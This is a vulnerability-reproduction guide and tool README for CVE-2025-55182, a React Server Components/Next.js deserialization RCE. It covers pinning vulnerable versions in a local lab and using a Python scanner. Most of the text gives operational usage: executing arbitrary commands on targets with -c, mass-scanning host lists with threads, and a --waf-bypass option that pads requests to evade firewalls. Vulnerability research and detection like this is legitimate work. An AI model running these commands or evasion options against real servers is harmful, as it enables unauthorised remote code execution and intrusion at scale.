
CVE-2025-55182(React Server Components 反序列化远程代码执行漏洞)
| Component | Recommended Version for Reproduction | Vulnerable Version Range |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) and above |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 or 19.2.0 | 19.0.0 to 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 to 19.2.0 |
Force install lower version
cd cve-2025-55182-target
npm install --force
Verify dependency versions
npm list react next
# The output should show [email protected] and [email protected]
As long as the top-level dependency list shows [email protected] and [email protected], the environment is successfully locked into a vulnerable state; warnings and error codes here can be ignored.
Build:
npm run build
Run:
npm start
The server will listen on http://localhost:3000. The environment is set up; vulnerability verification can begin.
Vulnerability Detection/Scanning:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


A command-line tool for detecting React Server Components (RSC) vulnerabilities CVE-2025-55182 and CVE-2025-66478 in Next.js applications.
For a detailed introduction to the technical details and detection methods of the vulnerabilities, please refer to our blog post: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
By default, the scanner sends a specially crafted multipart POST request containing an RCE verification payload that performs a deterministic mathematical operation (41*271 = 11111). A vulnerable host will return the result in the X-Action-Redirect response header as /login?a=11111.
The scanner first tests the root path. If the root path is not vulnerable, it follows same-origin redirects (e.g., from / to /en/) and tests the redirect target. Cross-origin redirects are not followed.
Using the --safe-check flag enables safe check mode, which relies on side-channel signals (such as 500 status codes and specific error summaries) without executing code on the target. Use this mode when RCE execution is not desired.
Using the --waf-bypass flag adds random junk data before the multipart request body. This helps bypass WAF detection that only analyzes the beginning of the request body. The default size is 128KB and can be configured via --waf-bypass-size. When WAF bypass is enabled, the timeout is automatically increased to 20 seconds (unless explicitly set).
Using the --windows flag switches the payload from Unix shell (echo $((41*271))) to PowerShell (powershell -c "41*271"), for targets running on Windows.
pip install -r requirements.txt
Scan a single host:
python3 scanner.py -u https://example.com
Scan a list of hosts:
python3 scanner.py -l hosts.txt
Scan with multithreading and save results:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scan with custom headers:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scan with safe side-channel detection:
python3 scanner.py -u https://example.com --safe-check
Scan a Windows target:
python3 scanner.py -u https://example.com --windows
Scan with WAF bypass:
python3 scanner.py -u https://example.com --waf-bypass
Execute RCE command:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file to save results (JSON format)
--all-results Save all results, not only vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom request headers (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content detection
--waf-bypass-size Junk data size in KB (default: 128)
The RCE PoC was initially publicly disclosed by @maple3142 — we greatly appreciate their contribution in publishing a usable PoC.
This tool was originally built for safe detection of this RCE. This functionality is still available via the --safe-check safe check mode.
Results are output to the terminal. When using the -o parameter, vulnerable hosts are saved to a JSON file with full HTTP request and response for verification.